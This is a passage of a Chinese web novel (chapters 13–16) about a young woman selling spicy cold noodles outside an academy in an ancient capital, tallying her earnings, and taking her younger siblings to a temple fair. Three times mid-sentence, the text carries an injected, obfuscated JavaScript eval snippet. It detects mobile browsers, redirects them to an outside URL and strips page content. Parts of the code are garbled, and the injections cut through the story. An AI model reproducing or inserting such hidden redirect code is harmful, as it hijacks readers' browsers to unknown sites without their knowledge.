姜蒜水煮面的时候已经弄好了，黄瓜和豆芽也提前切好和焯水，准备齐全。 黄瓜和豆芽打底。 接着是凉面，然后，姜蒜水、复合酱油、少许白糖，再加上红光的茱萸油。 一份色香味俱全的凉面就完成了。 不说味道，光说看颜值，就可以吸引人的目光。 沈天意暗暗点评：如果今早上的凉面是这个卖相，肯定会卖得更快更好。 沈天慧：“哇！果然看上去更好吃了。” “你们不太能吃辣，我只给你们放了一点点茱萸油，应该可以接受。”沈天意指着两碗少辣椒的凉面：“快尝尝看。” 沈天慧：“好。” 沈天明：“嗯嗯。” 13. 第二次出摊 “果然更好吃了！” 沈天慧眼睛蹭亮：“斯哈，好辣，好辣……” 沈天明也不停吸气：“是有点儿辣，但我喜欢，过瘾哈~” 沈天意看着他们还能接受，笑了笑没管他们，自顾自拿起了自己的那一碗凉面，她给自己盛了整整一勺茱萸油。 作为一个川省人，她上一辈子从来没吃过辣。 早就想这么试试了！ 她将凉面搅拌均匀，黄瓜丝、黄豆芽、凉面搅拌在一起，配合着茱萸油红扑扑的，油润带着勾引人的食欲。 她挑了一筷子送进嘴里。 瞬间，茱萸油的油香味在口腔里爆发，接着，是面条的香、黄瓜的脆嫩、豆芽的水嫩，在口腔里组成了一曲乐章。 美味！ 果真是美味！ 她大口吃着，很快，鼻头和额头开始冒汗。 太爽快了！ 难怪爷、爸妈他们每顿都离不开辣椒。 过了瘾，沈天意开始分析起来：这茱萸油虽然又香又辣，但是比起辣椒油，还是少了几分滋味。 “如果有辣椒就更完美了。” 她忍不住在心里感叹：“要知道，川菜的灵魂之一就是辣椒。” 下一刻。 她想起了一件事儿。 放下碗筷，她找出了早晨何娘子给的两个饼。 早上先是在吃凉面，后面生意来了，就没顾上尝尝这个饼，一直到现在才想起来。 这好歹是何娘子一份心意，不能浪费了。 沈天意先是递给了沈天明一个饼，然后分了半个给沈天慧：“尝尝何娘子给咱们的饼。” 沈天明接过。 沈天慧：“哦，好。” 沈天意手里还剩下半个，咬了一口，瞬间面露难色。 这饼…… 沈天慧小脸皱巴了起来：“这饼好难……这饼我吃不来。” 沈天明伸长脖子咽了下去，没说话，摇了摇头表示了态度。 沈天意吃惊的看着手里的饼：这饼怎么做的？外面看上去熟了，里面却还夹杂着面粉；口感更奇怪，一点儿面饼味道都没有，如同在嚼没有味道的皮…… 她了然：“难怪今早晨何娘子生意惨谈，她还怎么淡定。” 沈天明和沈天慧吃得咬牙切齿。 沈天意看得好笑，阻止：“算了，别吃了。” 沈天慧迟疑：“这不好吧，好歹是何娘子的心意……” “想什么呢？” 沈天意轻轻敲了一下她的脑门：“我的意思是，明早我把它煮个面饼汤当早饭。” 沈天慧恍然：“哦哦。” 沈天明立刻放下了：“大姐这主意好。” 有顶顶好吃的凉面在前，这份面饼的不好吃被放大，吃它对自己实在是一种残忍。 *** 翌日。 沈天意姐弟天不亮就起床忙碌起来。 凉面是昨天下午做的，为了防止变味，沈天意特意用家里带来的洗衣盆装了大半盆水，然后，将凉面冰镇在里面。 如今用的是井水，一晚上过去了，凉面盆还是凉凉的。 沈天意负责做早饭，用的正是昨晚吃剩下的面饼。 早饭她弄得很简单，锅里水烧开，将面饼撕成刚好一口大小，放进锅里，十秒钟撒上盐，直接捞出。 面饼吸了水膨胀大了不止一倍。 两张不到的面饼，变成了整整三碗的面饼汤。 饭桌上。 沈天意拿起筷子准备开吃。 然后，就看着沈天明和沈天慧迟迟不动筷子。 沈天意也没多想，催促道：“赶紧吃，咱们和何娘子约好了，别让人家等久了。” 沈天明和沈天慧对视了一样。 他们不约而同带上了“视死如归”的表情，结果一入嘴，眼神都清澈。 沈天慧：“哎？！这饼怎么变好吃了？” 沈天明重重点头。 见状，沈天意还有什么不懂，忍不住摇头笑了：原来刚才磨磨蹭蹭是担心面饼汤难吃？想什么呢？当她的金手指是用来看的吗？ 吃完了早饭。 三人推着独轮车出去。 何娘子也背着一个背篓，牵着何舒然走了出来。 沈天意：“何娘子。” 沈天明和沈天慧跟着喊人。 何娘子点头示意，然后低头轻轻晃了晃女儿的小手：“舒然，叫人。” 何舒然看向沈天意三人，害羞小声喊道：“沈大姐姐、沈二哥哥、沈三姐姐。” 沈天意笑着应道。 沈天慧恢复了些以往的活泼，凑近何舒然，声音夹了起来：“小舒然，真可爱，这么早起床，困不困？” “不、不困。” “吃早饭了吗？” “吃了。” “……” 两小只相处很和谐。 何娘子看着眼神带着欣慰，和沈天意、沈天明并排走在她们后面。 *** 致远书院。 沈天意几人还没走近昨日摆摊的位置，就看到哪里围了好几个人，一时有些诧异。 下一刻，一道带着惊喜的男声出现在了她耳边：“沈小娘子，你可算来了，我都等了一刻钟了，快，我要一份凉面。” 沈天意认出了人：是王二宝。 不等她说话，其他人也七嘴八舌说起话来： “我要两份，我自己带了饭盒，带走。” “我要三份。” “我……” 沈天意和沈天明、沈天慧对视了一样，眼里都是高兴。 姐弟三人默契分工。 沈天意招呼：“都别急，按照先后顺序排队，一个一个来，今天的凉面有五十多份，都有都有。” 闻言。 大家立刻排起了队。 王二宝没抢到第一个。 第一个，是秦一。 沈天意立刻认出了他，这可是她在这个世界上摆摊的第一个客人，印象极其深刻。 她主动客气的搭话：“客人，昨日吃得可还好？” 秦一脸色一僵：好不好，也得我吃过才能说啊~ 但，没法说。 他挤出一个笑：“好。” “给我来两份。” “一份打包，一份我就在这儿吃。” 昨晚上都在惦记，等不了一点！ 沈天意觉得他的表情有些奇怪，但也没多想，利索开始拌面：“客人，今天多了一味调料，是辣口的，你吃辣不，要不要添上？” 秦一顺着沈天意的眼神看到了茱萸油，红彤彤十分有食欲，下意识点头：“要。” 下一刻，补充：“带走那一份不要。” 沈天意点头。 她利索的拌好了两份，一份辣的，一份不辣的。 她是个讲究细节的。 考虑到不是所有人都要吃辣，于是，她特意准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615821|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备了两个拌面的碗。 “客人，好了。” 秦一付了钱。 沈天明自然接过了钱。 秦一刚接过，就被人一屁股挤到了一旁。 他忍不住怒目而视，可罪魁祸首一个眼神没分给他，兴奋的看着小娘子：“沈小娘子，我昨日和你说要辣口的，你今日就真的弄出来了？” 沈天意笑：“这是茱萸油，你尝尝看如何。” “要辣点儿不？” 王二宝直点头：“要，我要两份。” 沈天意：“行。” 一旁，秦一深吸了一口气：懒得和这人见识！ 他走远了几步，站在墙角边上，眼神看向凉面，入眼就是它的卖相，想比起昨日的平平无奇，今天这一碗凉面，看上去卖相好多了。 他鼻子凑近深吸了一口气，一股油香、甜味、姜蒜味和说不上来的香味冲入心肺。 “好香~” 秦一咽了咽口水，拿起筷子快速搅拌了起来，然后，有些惊喜：“碗底还有东西，黄瓜丝，这昨天也有，还多了一样，这是……豆芽？” 很快搅拌好。 秦一怀着巨大的期待，夹了一口放进嘴里。 “轰”。 他心底仿佛有烟花盛开。 好吃！ 怎么会这么好吃！ 比他想象的还要好吃！ 难怪昨天少爷和周少爷争着抢着吃。 摊位前。 王二宝接过面，迫不及待搅拌了起来，看着红彤彤的面条，食欲加满，急切往嘴里送，味道也没让他失望，甚至是超乎期待的。 “好吃！” “好辣，好吃，好吃，辣斯哈斯哈……” 这辣椒太霸道了。 他辣得不行，但还是忍不住不停往嘴里塞，同时，忍不住对沈天意竖起大拇指，表达自己的喜爱：“沈小娘子，你手艺太好了……” 沈天意看着他眼睛都辣红了，有些忍俊不禁的摇头。 太拼了！ 她也顾不上搭话，客人都等着呢。 王二宝也不在意，余光看到同样辣得不行的秦一，自来熟的走了过来：“兄弟，你也住附近的？以前怎么没见过你？” 居然比他还来得早！ 秦一辣得不行，但心情挺美。 他也不计较这人刚才差点儿把他挤飞的事情，摇头：“我不住这里，我少爷在致远书院上学。” 王二宝恍然。 他不嫌弃秦一是下人，他自己也不过是个伙计，谁也不比谁高贵。 “兄弟，我叫王二宝，你呢？” “秦一。” “……” 两人就这么热聊了起来。 不得不说，美食是交朋友最好的方式。 回到沈天意这边。 两刻钟左右，她带来的五十七份凉面全部都卖光了，就连一旁何娘子的面饼也卖出去不少，因为很多客人不信邪要了茱萸油结果被辣到了，买面饼来止辣。 客气送走来晚了的客人。 “卖完了。” “明日赶早。” “多准备些？尽量吧。” “……” 沈天意姐弟三人一边收拾，一边笑呵呵和客人说话。 旁边，何娘子也止不住笑，看着沈天意一脸诚恳：“沈小娘子，刚才那一会儿我卖出去的饼是平日一整日的数了，都是沾了你的光。” 沈天意忙摆手。 14. 放假 周生生起晚了，赶到的时候沈天意已经离开了。 他从周围人口中得知真相，碎了。 “卖、卖光了？” 早知道，他就不赖那一刻钟的床了。 悔啊！ “呵，老周，说你笨吧？你还不承认。瞧我多聪明，特意让我家秦一提前排了队。” 秦宁生得意的嗓音响起。 周生生抬头看过去。 秦宁生对上他的眼神，特意晃了晃手上的饭盒。 见此。 周生生眼里飞快闪过什么。 面上，他苦笑：“老秦，还是你脑子好使啊～” 一边说着，一边自然而然走近。 秦宁生不疑有他，嘴角上扬的幅度更大了：“好好学着点儿……唉？！”下一刻，他眼睛瞪大，声音陡然拔高几乎破音边缘：　“你干啥？” 周生生一把夺过了饭盒，藏在怀里，对着他贱贱的一笑：“现在归我了！” “老秦，学着点儿！” 本来没好意思再和他抢吃的，可他这么嚣张，那就必须得给他给教训了。 谁让，他们是好兄弟呢～ 秦宁生：“……” 秦宁生不可置信。 秦宁生想吐血。 秦宁生一边怒吼一边狂追：“周生生，你个王八蛋，给我站住！” “放下我的凉面！！！” 周生生跑得飞快。 一旁。 秦一看完了全程的闹剧，满脸的庆幸：还好我今天机智没打包，否则，我那一份肯定又吃不上，太好了太好了…… *** 王二宝这边。 他今天要了两份凉面，只吃了一份，还有一份没吃，特意带回了店里，打算留着当午饭吃。 一份凉面六文钱，虽然不多，但每天早饭花十二文买两碗凉面对他来说太过于奢靡，他的荷包遭不住。 于是。 他就准备买两份，一份早上吃，一份中午吃。 这样一来，又可以解馋，又可以省钱。 要知道，午饭的花销可比早餐大，至少要花十文钱。 如今至少可以省四文钱。 言归正传。 刚把凉面放在粮铺后面的柜子上，店里就来生意了。 他便专心接待去客人。 一直到了午时，客人们也该各回各家做饭用餐，店里才没了客人。 累了小半天。 王二宝已经饥肠辘辘了。 他心里也一直惦记着早上凉面那爽辣的滋味，立即钻进了后面柜台。 结果。 柜子上的凉面不翼而飞了。 “我的凉面呢？”王二宝纳闷：“我记得，就是放在这里的呀。” 他四处寻找起来，进了后院，靠近正房，突然，他耳边传来吸气声：“嘶哈嘶哈……” 王二宝心神一动，猛地推开门。 屋内。 王有粮吓了一大跳，下意识扭过身抬起头。 王二宝一眼就看到了他辣得通红的嘴巴，还有嘴角没有擦干净的茱萸油。 凉面失踪案，破案了！ 王二宝不敢相信自己的眼睛：“堂舅，这是我的面？！” 闻言。 王有粮丝毫不觉得心虚，抹了一把嘴，十分自然的点评：“二宝，你在哪儿买的面条？味道真不错，就是太辣了些。” 王二宝悲愤重复：“堂舅，这是我的凉面！” 迎着他的眼神，王有粮有些不自在的咳了咳嗓子，摆手：“行吧，我不小心给吃了。” “那啥，我给你钱，你再去买一份就是了。” “多少钱？” 王二宝气一点儿没消，控诉道：“人家沈小娘子生意好得不行，就每天早晨摆摊，我专门提前两刻钟去排队才买到的，现在早就卖完了，你让我去哪儿买？” 这倒是王有粮没想到的。 不过，转念一想，这面这么好吃，也是人之常情。 这下尴尬了。 他看着表侄子眼睛都红了，脑袋都大了，扣着脑袋：“堂舅也不知道，那、这样吧，我请你吃烧鸡，如何？” 烧鸡？ 王二宝面色迟疑。 王有粮乘胜追击：“就你平日里最喜欢吃的刘氏烧鸡，咱们爷俩儿买上半只鸡，再来一包花生米、一壶烧锅子，中午闭店半个时辰，好好喝一顿，怎么样？” 王二宝彻底没气了：“好！” 王有粮暗暗松了一口气，揽着他胳膊往外带：“走走走，这就去买烧鸡。” “对了，二宝啊，明日你还要去买那个面……” “是凉面。” “对，就是面、凉面，也给堂舅带一份。” “可以，先给钱。” “嘿，你这臭小子，堂舅难道还会不给你钱？” “那可说不准。” “你、臭小子……行，我给，我给还不行。” “……” *** 时间回到沈天意这里。 这次出摊卖得快，回来的时候，天也才刚亮。 三人默契的关上门，坐在桌子上。 数钱了！ 除去昨晚吃的三份凉面，今日一共卖了五十七碗凉面，总共是三百四十二文钱。 这是营业额。 成本：六斤白面一百文，鸡蛋六文、黄瓜、豆芽一共六文。 茱萸油、混合酱油价格不好算，雍京人吃辣能力一般，熬的茱萸油这次摆摊用了二分之一，折算下来是十文钱。 混合酱油一共是两斤，一斤生抽四文钱，两斤八文钱，摆摊只用了一半，还剩下一半，也就是四文钱。 香料花了一百文，但八角、香叶和桂皮都可以重复利用，至少三次，多的五次也不是不行。 那折算下来，一次摆摊香料钱差不多十文。 粗略估计，净利润是二百零六文。 看上去似乎比昨天挣得利润更低，这是因为她辣椒油、复合酱油拉高了成本。 但是，她认为这个投入是有必要的。 虽然她有饭灵根味道不会难吃，但，做生意是要有态度的。 用不用心，客人是可以感知的。 想要长久的把生意做下去，就要用心的对待客人。 心里细细的算了一遍。 沈天意心里松了一口气，暗暗道：“也不错了。” “一日净利润二百零六，十日就是二千零六，一个月就是六两银子。” “一年就能挣七十二两银子。” “按照我的记忆里，这么多银子，就算是在雍京，也能过生衣食无忧的日子了。” 沈天慧迫不及待要继续赚钱了：“大姐，咱们快出去买白面做凉面吧。” 沈天明也点头。 “不急。” 沈天意摇头：“时辰还早，歇一会儿。” 她从这一堆铜钱里刨了四枚铜钱出来，又分成了两份，推到了沈天明和沈天慧面前。 沈天慧愣了：“大姐，这是？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615822|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈天明眉头一动。 沈天意笑呵呵：“给你们的辛苦费，别嫌少，暂时的，以后挣得钱多了，还有奖励。” 沈天慧一把抓在手里，语气兴奋：“怎么会嫌少？” 她拉住沈天意胳膊撒娇：“大姐，你真好！” 沈天意笑着摇头。 沈天明眼神迟疑，没有动作。 沈天意一直有留心在他身上，语气坚持：“拿着。” 沈天明看了她一眼，才慢慢收起来。 沈天意满意了。 心道：我可是现代人，可不会压榨童工！ 下一刻。 沈天意站起身：“走，出门采购去。” 沈天慧和沈天明紧跟着站了起来，三人大步流星往外走。 沈天意语气轻快：“中午你们想吃什么？” 沈天明还没说什么。 沈天慧脱口而出：“红烧肉。” 沈天意挑眉：“又吃？昨天不才吃了？” 沈天慧露出了一个可爱的笑：“我这不是没吃够嘛～” 沈天意没回答，看向沈天明：“天明，你说呢？” 沈天明：“我、我都可以。” 沈天意懂了，无奈：“行，那就吃红烧肉。” 其实，她也没吃够。 *** 一晃，已经是摆摊的第十日摊。 沈天意的凉面摊在致远书院和附近人家算是彻底火了。 如今，每日去摆摊，都能看到提前来排队的食客。 这些食客的比例，学子越来越多。 也不奇怪，古往今来，大部分学生除了学习，其他的都有劲儿。 其中。 秦宁生、王二宝和周生生每日都在。 又是两刻钟结束买卖。 没买到的客人习惯性抱怨： ”沈小娘子，又没了？” “我这已经特意赶早了，还是没买到，已经连续两日了。” “是啊，人越来越多了。” “沈小娘子，你得多准备些分量啊～” “沈小娘子……” “……” 沈天意脸色未变，回答：“下次赶早。” “以后再说吧。” “麻烦让一让，我要先走了。” “……” 加量？ 加到多少？ 一百份，两百份？ 如今才六斤面粉，她已经要花一下午时间了。这还没算上每天出摊、洗碗、买食材的时间，再加份量，她一天真就一点儿休息时间都没有了。 不成。 绝对不成。 这么想着，沈天意脚步更加快。 *** 回到家里。 算好账，休息了一会儿，沈天慧和沈天明习惯性准备出门买食材。 沈天意叫住了他们。 “今天不买食材了。” 沈天慧疑惑不解：“不买了？为啥？” 沈天明也投来眼神。 沈天意说出了早就做好的打算：“明日我不准备摆摊，休息一日，咱们来了雍京快一个月了，我还没带你们出去好好逛一逛，明日我们出去好好玩一玩。” 沈天慧眼睛一下子亮了：“出去玩儿？” 虽然她每日都很懂事，不哭不闹的帮沈天意做生意，但是，她年纪还小，也渴望玩耍。 沈天明没说话，嘴角也偷偷上扬了。 见此。 沈天意更高兴了几分，点头：“嗯。” 15. 逛庙会 三人换上了自己最体面的衣服，沈天意这些日子攒了一千六百文钱，数了五百文带在身上，预备今天花用。 还没走出院门，身后传来喊声：“沈家大丫头，你等一下。” 沈天意回头，有些惊讶：“赵娘子，是有什么事儿吗？” 来人是赵香彩。 赵香彩开门见山：“今日是你们租下我家屋子的一个月……” 没等她说完。 沈天意恍然：“哦。” 她有些不好意思：“抱歉，我把房租给忘记了。” “赵娘子，你稍等一下，我这就去给你拿租金。” 说完。 她加快速度跑回了屋里。 很快，她提着两串用草绳编织在一起的铜钱，递给了赵香彩。 “赵娘子，这是两百文，你数一数。” 赵香彩也没见外，直接数了起来，她家是开鱼丸店的，平日里她负责收钱十分熟练，很快就数好了。 “没错。” 闻言，沈天意笑着点头：“行，那赵娘子，我们先走了。” 赵香彩主动搭话：“是买明日摆摊的食材吧？快些去。” 沈天意摇了摇头，随口解释：“不是，我们是出去玩儿。” 赵香彩惊讶：“出去玩儿？” 沈天意点头：“对，辛苦了十余日，劳逸结合，也该给自己放个假了。” “也是。” 赵香彩赞同。 虽然两家不住在同一个院子里，但就隔了一道月亮门，平日里进进出出多少能看到对方，这些日子，沈天意姐弟三人，尤其是沈天意的辛苦她是看在眼里的。 她又问道：“你们准备去哪儿玩儿？” 去哪儿玩？ 这倒一时把沈天意问住了。 她下意识看向沈天慧和沈天明，两人眼里也是茫然。 沈天意也不奇怪。 姐弟三人来到雍京不过一个月，这前大半个月，原身一心一意找亲人，便宜弟弟妹妹年纪小不敢乱走；后十余日，她一心做生意赚钱，弟弟妹妹也帮着她一心赚钱。 见状。 赵香彩心里了然。 她想了想，道：“今日是六月十五，土地庙那里正在举办庙会，还挺热闹的，你们可以去哪里逛一逛。” 土地庙？ 沈天意眼睛一亮：“赵娘子，不知这土地庙怎么走？” 赵香彩回答：“出了巷子，往致远书院方向走，越过书院再往下直走大约一里，大概就到了。” 沈天意记下，按照原身记忆，对赵香彩认真的行了一个福礼：“多谢赵娘子。” 赵香彩先是一惊，然后笑容加大，伸手把她扶直，语气温和：“何须言谢，去吧，好好玩儿。” 沈天意笑着点头示意，然后，带着沈天明和沈天慧转身离开。 身后。 赵香彩看着她们的背影，直直落在沈天意身上，不由自主的呢喃：“其实，这沈家大丫头是个好姐姐、好孩子，我以前怎么会认为她是个冷血无情的坏姑娘呢？” 人甚至不能共情以前的自己。 *** 两刻钟后。 沈天慧兴奋的指向前方：“大姐，二哥，你们看，那儿是不是就是土地庙了？” 沈天明立马看过去，不确定：“看不太清呢～” “应该就是了。” 沈天意出声：“你们看，这前面声音多热闹啊。” 沈天明恍然：“还真是。” “太好了！” 沈天慧兴奋的一手拉着一个往前狂奔：“大姐、二哥，我们快过去看看。” 很快。 三人进入了一个喧闹的世界。 沈天意环顾四周：各种小吃、糕点、茶酒摊位应有尽有，农具、布匹、日用百货、手工艺品、古玩字画、花鸟鱼虫琳琅满目，套圈、糖人、舞狮、变戏法、唱戏等各种各样的玩乐和杂耍让人眼花缭乱。 这里，简直就像是一个超级大集市。 她甚至觉得，除了建筑风格和没有电子产品之外，这里和现代集市没有任何区别。 沈天慧已经兴奋得眼睛不知道往哪儿放了。 “哇！” “这是什么？” “这人会吐火？” “哇，这个舞狮好好看。” “……” 沈天明赶忙叮嘱沈天明：“天明，看好你妹妹。” 古代的拍花子可不少。 这里可没有监控，人走丢了十之八九找不回来。 沈天明忙点头，追过去紧紧抓住她的手：“知道了。” 沈天意这才放心，慢悠悠跟在后面，不时左右打量。 一个时辰后。 沈天慧回到了沈天意身边。 “大姐，这里好好玩儿啊，我听那些娘子说，每月十五，土地庙都会举办一次庙会，每一次都这么热闹。” “大姐，咱们以后每个十五都过来玩好不好？” 沈天意看着沈天慧满脸红扑扑的，额头都冒汗了，抬头替她擦汗，笑着点头：“行，没问题。” 沈天慧一脸的幸福，挽着她胳膊把头靠在了她胳膊上：“大姐，你真好！” “就你嘴甜。” 沈天意摇头，自然而然说起了别的：“饿了没？咱们找个地方吃点儿东西，休息休息再继续玩儿。” 一说这个。 沈天慧肚子立刻咕噜咕噜叫了起来。 还没等沈天意和沈天明说什么，她脸颊一下子爆红，捂着肚子，把头死死埋在脖子里。 见状。 沈天意和沈天明对视了一眼，没忍住都笑了。 “咳咳咳。” 沈天意清了清嗓子，做出一副若无其事的模样：“要不，我们买点儿小吃，然后，选一家小馆子？” 沈天明看了沈天慧一眼，忍着笑应和：“可以。” 闻言。 沈天慧脸上的热意下来了大半，她试探着抬起头，见姐姐哥哥脸上表情无异，自以为隐秘的松了一口气，然后露出灿烂的笑，语气又活泼了起来：“好呀，我想吃冰雪冷元子和蜜饯。” 沈天意豪气云天：“行，买！” *** 一刻钟后。 三人坐在了一家小脚店里。 这家店是卖雍京城平民百姓最喜欢的各种特色肉食小吃店，比如：旋炙猪皮肉、旋煎羊白肠、盘兔、野鸭肉、猪脏、肉羹等等。 主要特色：便宜又好吃。 此刻正值午时，店里的生意极好，店里一共摆了二十余张小饭桌，一眼望过去几乎都坐满了。 他们刚一坐下，一个十五六岁的小娘子走近前来：“几位小娘子、小郎君安，墙上是我家店的菜肴，你们想点什么可以告知奴。” 沈天意顺着看向墙上，不由得点点头：这份菜单，有名称有价格，简单明了。 粗略看了一眼，价格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615823|206069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不算太贵。 当然，要说很便宜，也没有，毕竟，这些都是肉食。 不过，也就在十五到三十文一份。 她首先点好：“我要一份羊白肠。” 点完，她看向弟弟妹妹：“天明、天慧，你们呢？” “咱们一人点一道小吃。” 两人点头。 沈天慧迟疑半晌，点了一个血羹，沈天明则是点了一份炙烤猪皮肉。 其中，羊白肠三十一份，血羹二十文一份，炙烤猪皮肉最便宜只需要十五一份。 见他们点好，沈天意看向店家小娘子：“我们就点这些。” “好的，几位请稍等片刻。” 人一走。 沈天意立即招呼他们：“先吃冰雪冷元子，再不吃都不凉爽了。” 两人忙点头。 沈天慧动作飞快送了一个丸子进嘴里，满足的眯起了眼睛：“甜甜的、冰冰的，好吃～” 沈天明语气平淡：“有点儿甜了。” 沈天意没有立即平常，而是拿到眼前观察了一下外形，棕黄色的团子，看不出是什么做的。 她咬了一小口，细细品鉴。 很快，就分析了出来：它的主材是黄豆粉，里面还有砂糖的味道，不多，淡淡的甜味，应该是将黄豆煮熟了磨成粉，加上砂糖和水搓成小团子，泡在冰水或者冰蜜水里。 没有难度。 味道嘛～ 无功无过，正适合夏日解暑解渴。 她对着两人随意道：“下次，我做给你们吃。” 要是有她饭灵根加成，味道肯定更好。 而且，还更便宜。 这一碗冰雪冷元子就要十五文，三碗就是四十五文。 黄豆不值钱。 砂糖用的少也不贵。 能卖上这个价格，全在这冰水上。 如今可不比现代，有冰箱可以制冷，如今的冰，都是从冰库出来的。 额～ 这么一算，似乎自己做也省不了几个钱，比较，她不能变出冰来。 算了，这不重要。 沈天慧立即捧场：“大姐做得一定更好吃。” 沈天明则是惊讶：“大姐你会做？” “这又什么难的？”沈天意得意挑眉：“等着看吧。” 除了甜品，他们还买了蜜饯。 蜜饯摊子上的蜜饯种类繁多，他们一人选了一种：沈天意选了樱桃，沈天慧选了青梅，沈天明选了冬瓜。 蜜饯不便宜。 但是，一份只有几颗，贵的蜜饯多几颗，便宜的蜜饯少几颗，一份是十文钱。 三份，一共花了三十文。 差不多等了一刻钟，三人店的小吃就上来了。 份量还不小。 沈天慧激动：“哇，好香啊～” 沈天意闻着肉香味，也忍不住深吸了一口气：“快尝尝。” “好。” “这羊白肠好嫩。” “这猪肉居然是甜咸味道？” “……” 沈天意也细细品尝，味道意外得都很不错。 她小声点评：“难怪生意这么红火，果真是有两把刷子。” 这时。 沈天明的声音飘进她耳朵里：“我觉得，大姐你做的红烧肉最好吃。” 沈天意先是一惊，然后得意一笑：“我也这么觉得。” 我可是身代buff的女人。 16. 新品 吃过了午饭，沈天意带着弟弟妹妹先去土地庙里逛了逛，然后出来进了戏班子。 戏班子的票也便宜得很，一人只需五文钱。 沈天意今天带够了钱，她直接订了雅座，一人十五文，有椅子坐还送了两碟子小吃：绿豆糕和南瓜籽。 沈天慧第一次听戏，兴奋得左右张望：“好近啊～” 沈天明有些心疼钱：“站着也挺近的，反正听得清楚。” 两人态度截然不同不同。 沈天意听得好笑，转移话题：“来尝尝绿豆糕味道如何～” 出来玩嘛，就要舍得花钱。 挣钱就是用来花的。 沈天慧：“好！” 沈天明也没再说什么。 反正，钱都花了。 他们进来的时候上一场戏刚唱完，突然锣鼓一响，戏开了。 沈天意三姐弟立马看向台上。 “……” 听了一会儿，沈天意觉得这戏曲和上一世的京剧十分相似。 敢登台唱戏的戏子都是有两把刷子的，在这土地庙会的小地方的戏班子，也唱得不错。 沈天意爷爷喜欢听川剧，她对戏剧不感兴趣，如今听着，眼里带着感概和怅然。 *** 酉时末。 三人步入院门。 姐弟三人吃了晚饭才回家的。 雍京没有宵禁，土地庙会举办一整天，晚上各式各样的花灯让人应接不暇。 沈天慧痴痴的看着手里的灯，小嘴不停叭叭叭：“大姐，你说这小兔子灯是怎么做的？简直和兔子一模一样，真好看……” 沈天意还没回答。 沈天明语气无奈抢过了话头：“你都说了一路了？你嘴皮子不累？” “哼！”沈天慧瞪了他一眼：“不累！” “我又没问你。” 沈天明无语。 沈天意走了一天现在又困又累，出声：“好了，别在这里干站着了，先回屋。” 闻言，两人乖乖听话。 院子里的其他三户人家灯光都亮着，不过，都各自待在屋子里没人出来。 这正好。 沈天意姐弟三人循迅速烧了一锅热水，挨个洗个澡上床。 熄灯。 不到一刻钟，三人都睡熟了。 第二日。 沈天意是自然醒。 醒来后，外面天还没亮，她估计了一下，现在也就是平日摆摊起床的时辰。 下意识，她准备起床。 下一刻，反应过来今日不摆摊。 然后，她就放松的躺了回去，翻了个身面对着床外，带着笑睡起了回笼觉。 很快，睡了过去。 她是谁得香喷喷，致远书院外就截然不同了。 “怎么还没来？” “往日这个时辰早都到了。” “沈小娘子不会是出什么事儿了吧？” “是啊，不会是遇到什么事儿了吧？” “怎么回事儿？” “难不成，今天不来了？” “不会吧。” “也许，是有什么事儿耽搁了。” “……” 人越来越多，一直到书院铃声响起，大部分学子们等不急了，赶忙狂奔进书院。 书院学子走了。 大家都有活计，也都各自散了。 王二宝失落的回到了粮铺，王有粮正在看着铺子，眼神一直留意着门口，见到他，立刻眼睛一亮：“回来……” “嗯？我让你给我带的凉面呢？” 这东西是真好吃啊，连续吃了七八日都不腻，一天不吃就馋。 “没买到。”王二宝瘪嘴：“今天沈小娘子没来摆摊。” 王有粮不敢相信：“什么？！” 他有些难受了：“这生意做得好好的，怎么突然不来摆摊了？真是任性。” 突然，他脸色大变：“难不成不摆摊了？” 王二宝想也不想就摇头：“怎么可能不摆摊？估计是今天有事吧。” “我可不是瞎猜。”王有粮一脸严肃：“这沈小娘子卖面条，每天都是来咱们家粮铺买的白面，但昨天没来。” 一听。 王二宝也回想起来：“好像是啊～” 他脸色难看起来：“难不成，沈小娘子真的不摆摊了？” 他在心里拼命祈祷： 不要啊！ 千万不要啊！ *** 对于这一切，沈天意睡得香喷喷的，一无所知。 这一次回笼觉醒来，已经是巳时了。 沈天慧和沈天明已经起床了，见她起床，沈天慧招呼：“大姐，我和二哥熬了大米粥，给你留了一碗。” 沈天意点头，洗漱完毕坐下开始用早餐，心情十分不错。 家里只有她爱喝大米粥。 这大米粥，是特意为了她熬的。 早上起来有人做饭，有家人关心，平淡又满足。 喝着大米粥，沈天意觉得有些单调，心里想到了一个下粥神器。 泡菜！ “抽个空，泡点儿泡菜，平日里佐粥或者不想做菜了抓点儿出来下饭都是一绝，除此之外，许多川菜都需要用到泡菜。” “可惜，茱萸不适合用来做豆瓣酱。” 一来，豆瓣酱需要福豆，二来，没有小米辣；茱萸虽然有辣味，但也有苦味，少量的茱萸替代辣椒没问题，但是用量大了，苦味就太明显了。 吃过饭。 